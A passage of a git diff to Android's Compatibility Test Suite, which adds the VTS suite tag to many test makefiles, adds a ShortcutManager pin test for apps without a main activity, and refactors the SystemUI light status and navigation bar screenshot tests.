-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package1
 
@@ -67,7 +67,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package2
 
@@ -97,7 +97,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package3
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
index f87e2da..ac09355 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package4
 
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index 5f0e85e..4f25f44 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -33,6 +33,14 @@
 
 @SmallTest
 public class ShortcutManagerLauncherApiTest extends ShortcutManagerCtsTestsBase {
+    @Override
+    protected String getOverrideConfig() {
+        return "max_icon_dimension_dp=96,"
+                + "max_icon_dimension_dp_lowram=96,"
+                + "icon_format=PNG,"
+                + "icon_quality=100";
+    }
+
     public void testPinShortcuts() {
         runWithCaller(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_1", true);
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
index 41b7a82..8f38e18 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
@@ -16,12 +16,17 @@
 package android.content.pm.cts.shortcutmanager;
 
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.dumpsysShortcut;
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.retryUntil;
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
 
+import android.content.ComponentName;
 import android.content.Intent;
+import android.content.pm.ActivityInfo;
 import android.content.pm.LauncherApps.ShortcutQuery;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
 import android.content.pm.cts.shortcutmanager.common.Constants;
@@ -30,6 +35,7 @@
 import android.util.Log;
 import com.android.compatibility.common.util.CddTest;
 
+import java.util.HashMap;
 import java.util.List;
 
 @CddTest(requirement="3.8.1/C-4-1")
@@ -103,6 +109,60 @@
                 return true;
             }, "Shortcut still not pinned");
         });
+        runWithCaller(mPackageContext1, () -> {
+            assertWith(getManager().getPinnedShortcuts())
+                    .forShortcutWithId(SHORTCUT_ID, si -> {
+                        assertEquals("label1", si.getShortLabel());
+                    })
+                    .areAllPinned()
+                    .areAllNotDynamic()
+                    .areAllNotManifest()
+                    .areAllMutable()
+                    ;
+        });
+    }
+
+    /**
+     * Same as {@link ShortcutManager#requestPinShortcut} except the app has no main activities.
+     */
+    public void testRequestPinShortcut_noMainActivity() {
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+        final PackageManager pm = getTestContext().getPackageManager();
+        final HashMap<ComponentName, Integer> originalState = new HashMap<>();
+        try {
+            for (ResolveInfo ri : pm.queryIntentActivities(
+                    new Intent().setPackage(mPackageContext1.getPackageName()), 0)) {
+                final ActivityInfo activityInfo = ri.activityInfo;
+                final ComponentName componentName =
+                        new ComponentName(activityInfo.packageName, activityInfo.name);
+
+                originalState.put(componentName, pm.getComponentEnabledSetting(componentName));
+                Log.i(TAG, "Disabling " + componentName);
+                pm.setComponentEnabledSetting(componentName,
+                        PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+            }
+
+            testRequestPinShortcut();
+
+            runWithCaller(mPackageContext1, () -> {
+                assertWith(getManager().getPinnedShortcuts())
+                        .areAllPinned()
+                        .areAllNotDynamic()
+                        .areAllNotManifest()
+                        .areAllMutable()
+                        .areAllWithActivity(null)
+                ;
+                assertWith(getManager().getManifestShortcuts()).isEmpty();
+                assertWith(getManager().getDynamicShortcuts()).isEmpty();
+            });
+        } finally {
+            // Restore the original state.
+            for (HashMap.Entry<ComponentName, Integer> e : originalState.entrySet()) {
+                pm.setComponentEnabledSetting(e.getKey(), e.getValue()
+                        , PackageManager.DONT_KILL_APP);
+            }
+        }
     }
 
     // TODO Various other cases (already pinned, etc)
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
index a3794f8..62f959e 100644
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ b/tests/tests/shortcutmanager/throttling/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutManagerThrottlingTest
 
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index 80c5e55..eaec920ab 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -44,7 +44,7 @@
   $($(LOCAL_2ND_ARCH_VAR_PREFIX)TARGET_OBJCOPY) --add-section .testzipdata=$$TMP_FILE $(linked_module) && \
   rm -f $$TMP_FILE
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CTS_TEST_PACKAGE := android.simpleperf
 LOCAL_FORCE_STATIC_EXECUTABLE := true
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
index 1fb26b7..2a172b5 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
@@ -30,6 +30,6 @@
 
 LOCAL_SDK_VERSION := current
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
index 3995510..05f9388 100755
--- a/tests/tests/speech/Android.mk
+++ b/tests/tests/speech/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSpeechTestCases
 
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index d75eef6..573e2ee 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/systemintents/AndroidTest.xml b/tests/tests/systemintents/AndroidTest.xml
index 7b5e7e9..37f9895 100644
--- a/tests/tests/systemintents/AndroidTest.xml
+++ b/tests/tests/systemintents/AndroidTest.xml
@@ -16,6 +16,7 @@
   -->
 <configuration description="Config for CTS system intent test cases">
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemIntentTestCases.apk" />
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 4806f4b..6ba1e77 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -22,14 +22,15 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     android-support-test \
-    legacy-android-test
+    legacy-android-test \
+    ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index fc0d841..8b2c06f 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -22,7 +22,11 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <application>
         <activity android:name=".LightBarActivity"
-                android:theme="@android:style/Theme.Material.NoActionBar"></activity>
+                android:theme="@android:style/Theme.Material.NoActionBar"
+                android:screenOrientation="portrait"></activity>
+        <activity android:name=".LightBarThemeActivity"
+                android:theme="@style/LightBarTheme"
+                android:screenOrientation="portrait"></activity>
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index cb54a25..208f844 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS SystemUI test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="sysui" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemUiTestCases.apk" />
diff --git a/tests/tests/systemui/res/drawable/ic_save.png b/tests/tests/systemui/res/drawable/ic_save.png
new file mode 100644
index 0000000..a046efc
--- /dev/null
+++ b/tests/tests/systemui/res/drawable/ic_save.png
Binary files differ
diff --git a/tests/tests/systemui/res/values/colors.xml b/tests/tests/systemui/res/values/colors.xml
new file mode 100644
index 0000000..6f0558a
--- /dev/null
+++ b/tests/tests/systemui/res/values/colors.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<resources>
+    <color name="navigationBarDividerColor">#ff0000</color>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/res/values/styles.xml b/tests/tests/systemui/res/values/styles.xml
new file mode 100644
index 0000000..dd95114
--- /dev/null
+++ b/tests/tests/systemui/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<resources>
+    <style name="LightBarTheme" parent="@android:style/Theme.Material.Light.NoActionBar">
+        <item name="android:windowLightStatusBar">true</item>
+        <item name="android:windowLightNavigationBar">true</item>
+        <item name="android:navigationBarColor">@android:color/white</item>
+        <item name="android:navigationBarDividerColor">@color/navigationBarDividerColor</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
index 6a1e0d7..a826575 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -15,29 +15,13 @@
  */
 package android.systemui.cts;
 
-import android.app.Activity;
-import android.graphics.Color;
-import android.os.Bundle;
 import android.view.View;
-import android.view.ViewGroup.LayoutParams;
-
 
 /**
  * An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
  * SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR.
  */
-public class LightBarActivity extends Activity {
-
-    private View mContent;
-
-    public void onCreate(Bundle bundle){
-        super.onCreate(bundle);
-
-        mContent = new View(this);
-        mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
-                LayoutParams.MATCH_PARENT));
-        setContentView(mContent);
-    }
+public class LightBarActivity extends LightBarBaseActivity {
 
     public void setLightStatusBar(boolean lightStatusBar) {
         setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
@@ -56,16 +40,4 @@
         }
         getWindow().getDecorView().setSystemUiVisibility(vis);
     }
-
-    public int getTop() {
-        return mContent.getLocationOnScreen()[1];
-    }
-
-    public int getBottom() {
-        return mContent.getLocationOnScreen()[1] + mContent.getHeight();
-    }
-
-    public int getWidth() {
-        return mContent.getWidth();
-    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
new file mode 100644
index 0000000..1b228f3
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewGroup.LayoutParams;
+
+public class LightBarBaseActivity extends Activity {
+
+    private View mContent;
+
+    @Override
+    protected void onCreate(Bundle bundle){
+        super.onCreate(bundle);
+        mContent = new View(this);
+        mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
+                LayoutParams.MATCH_PARENT));
+        setContentView(mContent);
+    }
+
+    public int getSystemUiVisibility() {
+        return mContent.getWindowSystemUiVisibility();
+    }
+
+    public int getTop() {
+        return mContent.getLocationOnScreen()[1];
+    }
+
+    public int getBottom() {
+        return mContent.getLocationOnScreen()[1] + mContent.getHeight();
+    }
+
+    public int getWidth() {
+        return mContent.getWidth();
+    }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
new file mode 100644
index 0000000..d4c7862
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
+import android.graphics.Bitmap;
+import android.util.Log;
+import android.view.KeyCharacterMap;
+import android.view.KeyEvent;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+public class LightBarTestBase {
+
+    private static final String TAG = "LightBarTestBase";
+
+    public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+
+    protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
+        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, 0, 0, activity.getWidth(), activity.getTop());
+    }
+
+    protected Bitmap takeNavigationBarScreenshot(LightBarBaseActivity activity) {
+        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, 0, activity.getBottom(), activity.getWidth(),
+                fullBitmap.getHeight() - activity.getBottom());
+    }
+
+    protected void dumpBitmap(Bitmap bitmap) {
+        Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
+        FileOutputStream fileStream = null;
+        try {
+            fileStream = new FileOutputStream(DUMP_PATH);
+            bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
+            fileStream.flush();
+        } catch (Exception e) {
+            Log.e(TAG, "Dumping bitmap failed.", e);
+        } finally {
+            if (fileStream != null) {
+                try {
+                    fileStream.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+    }
+
+    protected boolean hasVirtualNavigationBar() {
+        boolean hasBackKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_BACK);
+        boolean hasHomeKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_HOME);
+        return !hasBackKey || !hasHomeKey;
+    }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 4b79ed3..95668ba 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,18 +16,28 @@
 
 package android.systemui.cts;
 
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.app.ActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.Bitmap;
 import android.graphics.Color;
-import android.support.test.InstrumentationRegistry;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
+import android.os.SystemClock;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
+import android.view.MotionEvent;
 
-import java.io.FileOutputStream;
-import java.io.IOException;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test for light status bar.
@@ -35,26 +45,36 @@
  * mmma cts/tests/tests/systemui
  * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarTests --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
  */
-public class LightBarTests extends ActivityInstrumentationTestCase2<LightBarActivity> {
+@RunWith(AndroidJUnit4.class)
+public class LightBarTests extends LightBarTestBase {
 
     public static final String TAG = "LightStatusBarTests";
 
-    public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+    private static final int WAIT_TIME = 2000;
 
-    public LightBarTests() {
-        super(LightBarActivity.class);
-    }
+    /**
+     * Color may be slightly off-spec when resources are resized for lower densities. Use this error
+     * margin to accommodate for that when comparing colors.
+     */
+    private static final int COLOR_COMPONENT_ERROR_MARGIN = 20;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        // As the way to access Instrumentation is changed in the new runner, we need to inject it
-        // manually into ActivityInstrumentationTestCase2. ActivityInstrumentationTestCase2 will
-        // be marked as deprecated and replaced with ActivityTestRule.
-        injectInstrumentation(InstrumentationRegistry.getInstrumentation());
-    }
+    private final String NOTIFICATION_TAG = "TEST_TAG";
+    private final String NOTIFICATION_CHANNEL_ID = "test_channel";
+    private final String NOTIFICATION_GROUP_KEY = "test_group";
+    private NotificationManager mNm;
 
+    @Rule
+    public ActivityTestRule<LightBarActivity> mActivityRule = new ActivityTestRule<>(
+            LightBarActivity.class);
+
+    @Test
     public void testLightStatusBarIcons() throws Throwable {
+        mNm = (NotificationManager) getInstrumentation().getContext()
+                .getSystemService(Context.NOTIFICATION_SERVICE);
+        NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+        mNm.createNotificationChannel(channel1);
+
         PackageManager pm = getInstrumentation().getContext().getPackageManager();
         if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
@@ -69,20 +89,37 @@
             return;
         }
 
-        requestLightBars(Color.RED /* background */);
-        Thread.sleep(1000);
+        // post 10 notifications to ensure enough icons in the status bar
+        for (int i = 0; i < 10; i++) {
+            Notification.Builder noti1 = new Notification.Builder(getInstrumentation().getContext(),
+                    NOTIFICATION_CHANNEL_ID)
+                    .setSmallIcon(R.drawable.ic_save)
+                    .setChannelId(NOTIFICATION_CHANNEL_ID)
+                    .setPriority(Notification.PRIORITY_LOW)
+                    .setGroup(NOTIFICATION_GROUP_KEY);
+            mNm.notify(NOTIFICATION_TAG, i, noti1.build());
+        }
 
-        Bitmap bitmap = takeStatusBarScreenshot();
+        requestLightBars(Color.RED /* background */);
+        Thread.sleep(WAIT_TIME);
+
+        Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
         Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
         assertLightStats(bitmap, s);
+
+        mNm.cancelAll();
+        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
     }
 
+    @Test
     public void testLightNavigationBar() throws Throwable {
         PackageManager pm = getInstrumentation().getContext().getPackageManager();
         if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+                || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
             // No navigation bar on TVs and watches.
+            // Car navigation is not transparent.
             return;
         }
 
@@ -97,17 +134,32 @@
         }
 
         requestLightBars(Color.RED /* background */);
-        Thread.sleep(1000);
+        Thread.sleep(WAIT_TIME);
 
-        Bitmap bitmap = takeNavigationBarScreenshot();
+        // Inject a cancelled interaction with the nav bar to ensure it is at full opacity.
+        int x = mActivityRule.getActivity().getWidth() / 2;
+        int y = mActivityRule.getActivity().getBottom() + 10;
+        injectCanceledTap(x, y);
+        Thread.sleep(WAIT_TIME);
+
+        Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
         Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
         assertLightStats(bitmap, s);
     }
 
-    private boolean hasVirtualNavigationBar() {
-        boolean hasBackKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_BACK);
-        boolean hasHomeKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_HOME);
-        return !hasBackKey || !hasHomeKey;
+    private void injectCanceledTap(int x, int y) {
+        long downTime = SystemClock.uptimeMillis();
+        injectEvent(MotionEvent.ACTION_DOWN, x, y, downTime);
+        injectEvent(MotionEvent.ACTION_CANCEL, x, y, downTime);
+    }
+
+    private void injectEvent(int action, int x, int y, long downTime) {
+        final UiAutomation automation = getInstrumentation().getUiAutomation();
+        final long eventTime = SystemClock.uptimeMillis();
+        MotionEvent event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0);
+        event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        assertTrue(automation.injectInputEvent(event, true));
+        event.recycle();
     }
 
     private void assertLightStats(Bitmap bitmap, Stats s) {
@@ -117,7 +169,7 @@
                     (float) s.backgroundPixels / s.totalPixels(),
                     "Is the bar background showing correctly (solid red)?");
 
-            assertMoreThan("Not enough pixels colored as in the spec", 0.1f,
+            assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
                     (float) s.iconPixels / s.foregroundPixels(),
                     "Are the bar icons colored according to the spec "
                             + "(60% black and 24% black)?");
@@ -133,7 +185,6 @@
             success = true;
         } finally {
             if (!success) {
-                Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
                 dumpBitmap(bitmap);
             }
         }
@@ -162,8 +213,8 @@
     }
 
     private void requestLightBars(final int background) throws Throwable {
-        final LightBarActivity activity = getActivity();
-        runTestOnUiThread(() -> {
+        final LightBarActivity activity = mActivityRule.getActivity();
+        activity.runOnUiThread(() -> {
             activity.getWindow().setStatusBarColor(background);
             activity.getWindow().setNavigationBarColor(background);
             activity.setLightStatusBar(true);
@@ -202,6 +253,15 @@
 
         int mixedIconColor = mixSrcOver(background, iconColor);
         int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
+        float [] hsvMixedIconColor = new float[3];
+        float [] hsvMixedPartialColor = new float[3];
+        Color.RGBToHSV(Color.red(mixedIconColor), Color.green(mixedIconColor),
+                Color.blue(mixedIconColor), hsvMixedIconColor);
+        Color.RGBToHSV(Color.red(mixedIconPartialColor), Color.green(mixedIconPartialColor),
+                Color.blue(mixedIconPartialColor), hsvMixedPartialColor);
+
+        float maxHsvValue = Math.max(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
+        float minHsvValue = Math.min(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
 
         int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
         bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
@@ -209,14 +269,17 @@
         Stats s = new Stats();
         float eps = 0.005f;
 
+        float [] hsvPixel = new float[3];
         for (int c : pixels) {
-            if (c == background) {
+            if (isColorSame(c, background)) {
                 s.backgroundPixels++;
                 continue;
             }
 
             // What we expect the icons to be colored according to the spec.
-            if (c == mixedIconColor || c == mixedIconPartialColor) {
+            Color.RGBToHSV(Color.red(c), Color.green(c), Color.blue(c), hsvPixel);
+            if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)
+                    || (hsvPixel[2] >= minHsvValue && hsvPixel[2] <= maxHsvValue)) {
                 s.iconPixels++;
                 continue;
             }
@@ -240,25 +303,6 @@
         return s;
     }
 
-    private void dumpBitmap(Bitmap bitmap) {
-        FileOutputStream fileStream = null;
-        try {
-            fileStream = new FileOutputStream(DUMP_PATH);
-            bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
-            fileStream.flush();
-        } catch (Exception e) {
-            Log.e(TAG, "Dumping bitmap failed.", e);
-        } finally {
-            if (fileStream != null) {
-                try {
-                    fileStream.close();
-                } catch (IOException e) {
-                    e.printStackTrace();
-                }
-            }
-        }
-    }
-
     private int mixSrcOver(int background, int foreground) {
         int bgAlpha = Color.alpha(background);
         int bgRed = Color.red(background);
@@ -276,15 +320,14 @@
                     fgBlue + (255 - fgAlpha) * bgBlue / 255);
     }
 
-    private Bitmap takeStatusBarScreenshot() {
-        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
-        return Bitmap.createBitmap(fullBitmap, 0, 0,
-                getActivity().getWidth(), getActivity().getTop());
-    }
-
-    private Bitmap takeNavigationBarScreenshot() {
-        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
-        return Bitmap.createBitmap(fullBitmap, 0, getActivity().getBottom(),
-                getActivity().getWidth(), fullBitmap.getHeight() - getActivity().getBottom());
+    /**
+     * Check if two colors' diff is in the error margin as defined in
+     * {@link #COLOR_COMPONENT_ERROR_MARGIN}.
+     */
+    private boolean isColorSame(int c1, int c2){
